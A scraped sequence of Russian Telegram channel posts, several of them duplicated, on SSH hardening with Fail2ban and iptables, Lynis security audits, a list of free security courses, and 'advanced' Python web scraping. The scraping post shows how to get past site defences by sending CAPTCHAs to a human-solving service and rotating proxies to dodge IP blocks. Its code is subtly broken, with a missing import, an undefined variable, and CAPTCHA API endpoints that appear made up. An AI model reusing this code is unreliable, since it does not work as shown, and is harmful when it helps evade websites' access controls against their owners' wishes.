▪Фильтры и действия настраиваются в файлах в подкаталогах filter.d и action.d. Файлы по умолчанию имеют расширение .conf и их лучше не изменять, включая jail.conf. Лучше все изменения делать в файле с расширением .local (например, jail.local), который переопределяет настройки из первого файла и сохраняет их при обновлении. Для проверки работы фильтра можно использовать утилиту fail2ban-regex.
@linuxkalii
Сетевая видимость — повод для атак. Проблемой является перебор паролей, в том числе и для SSH.
Защититься от этого можно по-разному:
1) Используя возможности настройки демона SSH
2) Пакетный фильтр
3) Специальные приложения
4) Port knocking
▪Измените 22-й порт на 2002-й, если это возможно. Вносим запись в /etc/ssh/sshd_config:
Port 2002▪В случаях, когда невозможно изменить порт, можно ограничить доступ к SSH определенными пользователями или группами. Это можно сделать с помощью параметров AllowUsers, AllowGroups, DenyUsers и DenyGroups в файле sshd_config. Логину также можно указать IP или подсеть. Например, можно разрешить доступ пользователю admin и user, при этом последний может подключаться только с одного IP.
AllowUsers admin user@192.168.0.1▪Еще один действенный вариант защиты от перебора – использование для аутентификации сертификатов.
Например, запретим вход по SSH по паролю для пользователя root, разрешив всем остальным:
# всем разрешаем доступ по паролю
PasswordAuthentication yes
# root будет использовать только сертификат
match user root
PasswordAuthentication no
KbdInteractiveAuthentication no▪Используя TCP Wrapper, также можем ограничить доступ к любому сервису только с определенных IP, для этого следует лишь прописать в файл /etc/hosts.allow или /etc/hosts.deny нужное правило. Разрешим в /etc/hosts.allow доступ только с нужной подсети:
sshd : 192.168.1.0/24 : allowИли в /etc/hosts.deny:
sshd : ALL : deny
sshd : ALL EXCEPT 192.168.1.0/24 : allow▪Пакетный фильтр позволяет очень точно задавать параметры соединений, отбрасывая ненужные пакеты. С его помощью легко ограничить доступ к 22-му порту только определенным адресам. Пример:
iptables -A INPUT -s !192.168.0.1 -p tcp -m tcp --dport 22 ↵
-j REJECT —reject-with icmp-port-unreachable▪Fail2ban и Sshguard - специальные утилиты, которые помогают защитить систему от подозрительных действий. Эти программы фильтруют пакеты по портам и IP-адресам и блокируют подозрительные IP-адреса, используя iptables или TCP Wrapper.
Fail2ban был создан для защиты SSH, но сейчас он может быть настроен для использования с различными приложениями. Принцип работы очень прост - демон периодически проверяет журналы на наличие записей о подозрительной активности и блокирует подозрительные IP-адреса.
По умолчанию Fail2ban защищает только SSH, но может быть настроен для контроля нескольких сервисов одновременно. Все события отображаются в журнале fail2ban.log и могут быть отправлены по электронной почте.
В Ubuntu и Debian устанавливается командой:
$ sudo apt-get install fail2ban▪Все настройки производятся в нескольких файлах, размещенных в каталоге /etc/fail2ban. В fail2ban.conf хранятся параметры запуска самого демона, в jail.conf описываются контролируемые сервисы (внутри секции SSH).
[ssh]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3▪Фильтры и действия настраиваются в файлах в подкаталогах filter.d и action.d. Файлы по умолчанию имеют расширение .conf и их лучше не изменять, включая jail.conf. Лучше все изменения делать в файле с расширением .local (например, jail.local), который переопределяет настройки из первого файла и сохраняет их при обновлении. Для проверки работы фильтра можно использовать утилиту fail2ban-regex.
@linuxkalii
👍18❤5🔥3
🐧Использование Lynis для проверки защищенности Linux
▪ Установка Lynis на Linux
Lynis надежно проверяет соответствие системы рекомендациям CIS. Этот инструмент также применим в пентестировании, но в данной статье мы рассмотрим его как средство для проверки безопасности Linux. Помимо Linux, Lynis работает также на операционных системах AIX, FreeBSD, HP-UX, Mac OS, NetBSD, OpenBSD, Solaris и даже Raspberry Pi.
Для установки Lynis, выполните команду:
▪ Использование Lynis для проверки защищенности Linux
Ознакомитесь с основными параметрами Lynis:
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
✔️
Затем запустите Lynis с помощью команды sudo. Чтобы запустить аудит, вы должны иметь права на запись в /tmp (временные файлы).
▪ Использование профилей Lynis
Lynis позволяет использовать профили, чтобы иметь набор предопределенных параметров для каждой операционной системы.
Если вы не укажете профиль --profile имя_профиля, будет использоваться профиль по умолчанию (default.prf). Рекомендуется скопировать файл default.prf и настроить его под свои нужды.
На этом все. Теперь вы знаете, как проверить защищенность дистрибутивов Linux.
▪ Установка Lynis на Linux
Lynis надежно проверяет соответствие системы рекомендациям CIS. Этот инструмент также применим в пентестировании, но в данной статье мы рассмотрим его как средство для проверки безопасности Linux. Помимо Linux, Lynis работает также на операционных системах AIX, FreeBSD, HP-UX, Mac OS, NetBSD, OpenBSD, Solaris и даже Raspberry Pi.
Для установки Lynis, выполните команду:
root@debian:~/# sudo apt-get install lynis▪ Использование Lynis для проверки защищенности Linux
Ознакомитесь с основными параметрами Lynis:
✔️
--auditor "имя" — присвоить аудиту имя.✔️
--checkall -c — начать проверку.✔️
--check-update — проверить актуальность Lynis.✔️
--cronjob — запустить Lynis как cronjob (включает -c -Q).✔️
--help — отобразить справку.✔️
--nocolors — не использовать цвета.✔️
--pentest — выполнить тестирование на проникновение (без привилегий).✔️
--quick — не ждать ввода данных пользователем, за исключением ошибок.✔️
--quiet — показать только предупреждения (включает —quick, но не ждет).✔️
--reverse-colors — использовать другую цветовую схему для светлого фона.✔️
--version — проверить версию программы (и выйти).Затем запустите Lynis с помощью команды sudo. Чтобы запустить аудит, вы должны иметь права на запись в /tmp (временные файлы).
root@debian:~/# sudo lynis audit system
...
Lynis security scan details:
Hardening index : 84 [############## ]
Tests performed : 260
Plugins enabled : 1
Components:
- Firewall [V]
- Malware scanner [V]
Scan mode:
Normal [V] Forensics [ ] Integration [ ] Pentest [ ]
Lynis modules:
- Compliance status [?]
- Security audit [V]
- Vulnerability scan [V]
Files:
- Test and debug information : /var/log/lynis.log
- Report data : /var/log/lynis-report.dat▪ Использование профилей Lynis
Lynis позволяет использовать профили, чтобы иметь набор предопределенных параметров для каждой операционной системы.
Если вы не укажете профиль --profile имя_профиля, будет использоваться профиль по умолчанию (default.prf). Рекомендуется скопировать файл default.prf и настроить его под свои нужды.
На этом все. Теперь вы знаете, как проверить защищенность дистрибутивов Linux.
👍16❤4🔥4👎1
🔐 11 Бесплатных курсов по кибербезопасности:
1) Stepik Математика в кибербезопасности
2) SkillFactory Этичный/Белый хакер: полный гид по профессии
3) Youtube Этичный хакинг
4) Курсера Cybersecurity Roles, Processes & Operating System Security
5) Stepik Кибербезопасность
6)Анализ безопасности веб-проектов
7) Технические методы и средства, технологии защиты информации
8) Школа системного администратора · курсы-по-ит.рф
9) Курс кибербезопасности для начинающих, UdeMy
10) Обеспечение безопасности цифровой демократии, Мичиганский университет
11) Введение в ИТ и кибербезопасность, Cybrary
@linuxkalii
1) Stepik Математика в кибербезопасности
2) SkillFactory Этичный/Белый хакер: полный гид по профессии
3) Youtube Этичный хакинг
4) Курсера Cybersecurity Roles, Processes & Operating System Security
5) Stepik Кибербезопасность
6)Анализ безопасности веб-проектов
7) Технические методы и средства, технологии защиты информации
8) Школа системного администратора · курсы-по-ит.рф
9) Курс кибербезопасности для начинающих, UdeMy
10) Обеспечение безопасности цифровой демократии, Мичиганский университет
11) Введение в ИТ и кибербезопасность, Cybrary
@linuxkalii
👍24🔥12❤7🥰1👏1
🐍Продвинутые методы веб-скрейпинга с помощью Python
1. Скраппинг динамических сайтов
Одним из популярных инструментов является Selenium.
Selenium – это библиотека Python, которая позволяет управлять веб-браузером из кода.
Пример:
2. Работа с CAPTCHA и IP-блокировками
• Существует ряд инструментов, которые могут помочь вам решить CAPTCHA.
Одним из популярных инструментов является Anti-Captcha.
Anti-Captcha – это сервис, который предлагает решение CAPTCHA с помощью человека. Это означает, что вы можете отправить CAPTCHA в Anti-Captcha, и они попросят человека решить ее за вас.
Пример:
• Существует несколько способов изменить свой IP-адрес. Одним из популярных способов является использование прокси-сервиса.
Прокси-сервис – это сервер, который выступает в качестве посредника между вашим компьютером и сайтом, с которого вы собираете информацию. Это означает, что сайт будет видеть IP-адрес прокси-сервера, а не ваш собственный IP-адрес.
Пример:
• Главный цикл будет многократно вызывать функции get_proxy() и scrape_website(), каждый раз поворачивая прокси. Это поможет предотвратить блокировку веб-сайта по вашему IP-адресу.
• Для выполнения этого кода вам потребуется установить следующие библиотеки Python:
- requests
- BeautifulSoup4
Вы можете установить эти библиотеки с помощью следующей команды:
Сохраняй пост себе, чтобы не потерять.
@linuxkalii
1. Скраппинг динамических сайтов
Одним из популярных инструментов является Selenium.
Selenium – это библиотека Python, которая позволяет управлять веб-браузером из кода.
Пример:
from selenium import webdriver
from bs4 import BeautifulSoup
driver = webdriver.Firefox()
driver.get('https://www.example.com')
# Wait for the JavaScript to load
time.sleep(5)
# Get the page source
soup = BeautifulSoup(driver.page_source, 'html.parser')
# Extract the data
table = soup.find('table', attrs={'id':'dynamic-table'})
data = []
for row in table.find_all('tr'):
data.append([cell.text for cell in row.find_all('td')])
# Close the browser
driver.quit()2. Работа с CAPTCHA и IP-блокировками
• Существует ряд инструментов, которые могут помочь вам решить CAPTCHA.
Одним из популярных инструментов является Anti-Captcha.
Anti-Captcha – это сервис, который предлагает решение CAPTCHA с помощью человека. Это означает, что вы можете отправить CAPTCHA в Anti-Captcha, и они попросят человека решить ее за вас.
Пример:
import requests
url = 'https://anti-captcha.com/api/create'
data = {
'type': 'image',
'phrase': captcha_text
}
response = requests.post(url, data=data)
captcha_id = response.json()['captchaId']
url = 'https://anti-captcha.com/api/solve'
data = {
'captchaId': captcha_id
}
response = requests.post(url, data=data)
solution = response.json()['solution']• Существует несколько способов изменить свой IP-адрес. Одним из популярных способов является использование прокси-сервиса.
Прокси-сервис – это сервер, который выступает в качестве посредника между вашим компьютером и сайтом, с которого вы собираете информацию. Это означает, что сайт будет видеть IP-адрес прокси-сервера, а не ваш собственный IP-адрес.
Пример:
import requests
import random
def get_proxy():
"""Gets a proxy from the proxy scrape service."""
response = requests.get('https://www.proxyscrape.com/')
data = response.json()
proxy = random.choice(data['results'])['ip'] + ':' + data['results'][0]['port']
return proxy
def scrape_website(proxy):
"""Scrape the website using the proxy."""
response = requests.get(url, proxies={'http': proxy, 'https': proxy})
soup = BeautifulSoup(response.text, 'html.parser')
data = []
for row in soup.find_all('tr'):
data.append([cell.text for cell in row.find_all('td')])
return data
if __name__ == '__main__':
proxy = get_proxy()
data = scrape_website(proxy)
print(data)
# Rotate the proxy
proxy = get_proxy()
data = scrape_website(proxy)
print(data)• Главный цикл будет многократно вызывать функции get_proxy() и scrape_website(), каждый раз поворачивая прокси. Это поможет предотвратить блокировку веб-сайта по вашему IP-адресу.
• Для выполнения этого кода вам потребуется установить следующие библиотеки Python:
- requests
- BeautifulSoup4
Вы можете установить эти библиотеки с помощью следующей команды:
pip install requests BeautifulSoup4Сохраняй пост себе, чтобы не потерять.
@linuxkalii
👍27❤7🔥3🥰2🤬1